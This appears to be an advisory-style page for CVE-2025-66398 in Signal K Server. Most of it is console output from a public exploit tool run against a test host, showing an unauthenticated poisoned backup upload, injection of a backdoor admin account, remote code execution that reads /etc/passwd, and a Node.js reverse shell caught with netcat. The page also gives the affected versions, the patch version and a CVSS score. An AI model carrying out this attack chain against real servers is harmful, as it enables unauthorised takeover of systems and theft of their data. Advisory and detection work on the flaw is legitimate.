CVE-2025-66398:
SignalK Server RCE
CVE-2025-66398 is a Signal K Server issue where an unauthenticated attacker can poison the server’s restore state via /skServer/validateBackup, then hijack config via /skServer/restore to inject a backdoor admin account and (optionally) achieve RCE by switching the security strategy to an attacker-controlled Node.js module.
Affected versions: Signal K Server ≤ 2.18.0
Impact (high-level): unauthenticated state pollution → backdoor admin injection → remote code execution (when a restore + restart occurs)
PORT STATE SERVICE 9360/tcp open unknown | http-signalk-cve-2025-66398: | state: VULNERABLE | title: Signal K Server Unauthenticated Backup Upload leading to RCE | IDs: CVE-2025-66398 |_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_ /\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
[*] Target : http://127.0.0.1:9360
[*] Target OS : linux
[*] Server header : Express
[*] Checking if target is vulnerable to CVE-2025-66398 ...
[+] Target is VULNERABLE — /skServer/validateBackup accepts unauthenticated uploads.
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_ /\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
[*] Target set to: http://127.0.0.1:9360
[*] Target : http://127.0.0.1:9360
[*] Target OS : linux
[*] Server header : Express
[?] Backdoor username to inject [backdoor]:
[?] Backdoor password to inject [H4CK1nd3x!]:
[*] Phase 1: State Pollution
[*] Uploads a malicious .backup file to http://127.0.0.1:9360/skServer/validateBackup
[*] Embeds a backdoor admin account (backdoor) into the restore state.
[*] No authentication required.
[?] Continue with pollution? [y/N]: y
[*] Phase 1 of 3 -- State Pollution
[*] Backdoor account to inject : backdoor
[*] Backdoor password to inject : H4CK1nd3x!
[*] Hashing password with bcrypt ...
[*] Uploading malicious backup to /skServer/validateBackup ...
[+] Malicious zip accepted. Server restoreFilePath is now poisoned.
[@] -- Next step --
[@] Trigger the restore as a logged-in admin (Phase 2), then
[@] restart the server so it loads the new config.
[@] Once the backdoor account is active, proceed to Phase 3 (RCE).
[*] Phase 2: Config Hijacking
[*] The server must restore from the poisoned backup and then restart
[*] before the backdoor account becomes active.
[?] Do you have admin credentials to trigger the restore now? [y/N]: y
[?] Admin username: hackindex
[?] Admin password: H4CK1nd3x!
[*] Phase 2 of 3 -- Config Hijacking via /restore
[*] Authenticating as admin: hackindex
[+] Admin login successful.
[+] Session token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[*] Triggering restore endpoint with poisoned backup ...
[+] Restore triggered -- backdoor account written to disk.
[@] Could not auto-detect the Signal K data directory from restore response.
[-] !! A wrong path will BREAK the Signal K server — it will fail to start !!
[?] Signal K data dir on target (required): /home/signalk/.signalk
What do you want to do next?
1) Try exploit (attempt RCE as backdoor user)
2) Reboot as user (trigger server restart via admin creds)
3) Exit
[?] Choose [1/2/3]: 1
[?] Command to run on the server [id]: whoami
[*] Phase 3 of 3 -- Remote Code Execution (security strategy injection)
[*] Callback listener started on port 61709.
[*] Callback host : host.docker.internal
[*] Building and uploading RCE payload ...
[+] RCE zip accepted by server.
[+] Authenticated as hackindex.
[+] Session token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[*] Triggering restore with RCE payload ...
[+] Payload written to disk.
[*] Restarting server ...
[+] Server is back online.
[*] Waiting up to 15 s for command output callback ...
[+] Command output received:
────────────────────────────────────────────────────────────
signalk
────────────────────────────────────────────────────────────
⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/cve-2025-66398
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_ /\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
[*] Target : http://127.0.0.1:9360
[*] Target OS : linux
[*] Server header : Express
[*] Phase 1 of 3 -- State Pollution
[*] Backdoor account to inject : backdoor
[*] Backdoor password to inject : H4CK1nd3x!
[*] Hashing password with bcrypt ...
[*] Uploading malicious backup to /skServer/validateBackup ...
[+] Malicious zip accepted. Server restoreFilePath is now poisoned.
[@] -- Next step --
[@] Trigger the restore as a logged-in admin (Phase 2), then
[@] restart the server so it loads the new config.
[@] Once the backdoor account is active, proceed to Phase 3 (RCE).
[*] Phase 2 of 3 -- Config Hijacking via /restore
[*] Authenticating as admin: backdoor
[+] Admin login successful.
[+] Session token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[*] Triggering restore endpoint with poisoned backup ...
[+] Restore triggered -- backdoor account written to disk.
[*] Logging in as backdoor ...
[+] Logged in.
[*] Sending restart request ...
[+] Restart request accepted. Waiting for server to come back up ...
[+] Server is back online.
[*] Phase 3 of 3 -- Remote Code Execution (security strategy injection)
[*] Callback listener started on port 61764.
[*] Callback host : host.docker.internal
[*] Building and uploading RCE payload ...
[+] RCE zip accepted by server.
[+] Authenticated as backdoor.
[+] Session token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[*] Triggering restore with RCE payload ...
[+] Payload written to disk.
[*] Restarting server ...
[+] Server is back online.
[*] Waiting up to 15 s for command output callback ...
[+] Command output received:
────────────────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
signalk:x:10001:10001::/home/signalk:/bin/sh
────────────────────────────────────────────────────────────
⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/cve-2025-66398
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_ /\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
[*] Target : http://127.0.0.1:9360
[*] Target OS : linux
[*] Server header : Express
[*] Phase 1 of 3 -- State Pollution
[*] Backdoor account to inject : backdoor
[*] Backdoor password to inject : H4CK1nd3x!
[*] Hashing password with bcrypt ...
[*] Uploading malicious backup to /skServer/validateBackup ...
[+] Malicious zip accepted. Server restoreFilePath is now poisoned.
[@] -- Next step --
[@] Trigger the restore as a logged-in admin (Phase 2), then
[@] restart the server so it loads the new config.
[@] Once the backdoor account is active, proceed to Phase 3 (RCE).
[*] Phase 2 of 3 -- Config Hijacking via /restore
[*] Authenticating as admin: backdoor
[+] Admin login successful.
[+] Session token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[*] Triggering restore endpoint with poisoned backup ...
[+] Restore triggered -- backdoor account written to disk.
[*] Logging in as backdoor ...
[+] Logged in.
[*] Sending restart request ...
[+] Restart request accepted. Waiting for server to come back up ...
[+] Server is back online.
[*] Phase 3 of 3 -- Reverse Shell (Node.js socket shell)
[*] Listener : 127.0.0.1:4444
[*] Catch with : nc -lvnp 4444
[+] Shell zip accepted by server.
[+] Authenticated as backdoor.
[+] Session token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
[*] Triggering restore with shell payload ...
[+] Payload written to disk.
[*] Restarting server — shell will connect back on module load ...
[+] Server is back online.
[+] Server back online. Shell should connect to 127.0.0.1:4444.
9.7
Critical risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Compexity
low
Privileges
none
Affected
< 2.19.0
Patched
2.19.0